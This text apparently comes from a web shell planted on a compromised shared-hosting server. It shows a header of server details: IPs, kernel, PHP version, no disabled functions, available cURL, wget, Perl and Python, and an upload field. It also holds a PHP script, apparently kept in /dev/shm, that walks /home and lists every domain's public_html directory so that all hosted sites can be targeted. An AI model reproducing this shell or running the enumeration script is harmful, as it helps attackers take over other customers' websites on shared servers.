| Server IP : 198.54.126.135 / Your IP : 216.73.216.217 Web Server : Apache System : Linux host11.registrar-servers.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : linearpo ( 12988) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /dev/shm/ |
Upload File : |
<?php $r = "/home"; $dir_public = "public_html"; function is_valid_domain($domain) { if (!substr_count($domain, '.')) { return false; } if (stripos($domain, 'www.') === 0) { $domain = substr($domain, 4); } $again = 'http://' . $domain; return filter_var($again, FILTER_VALIDATE_URL); } $dirs = glob("{$r}/*", GLOB_ONLYDIR); foreach ($dirs as $path) { $dir = basename($path); if (is_valid_domain($dir)) { if (strlen($dir_public)) { if (is_dir("{$path}/{$dir_public}")) { print "<f>{$path}/{$dir_public}@@@{$dir}</f>\n"; } } else { print "<f>{$path}@@@{$dir}</f>\n"; } } } die('!ended!');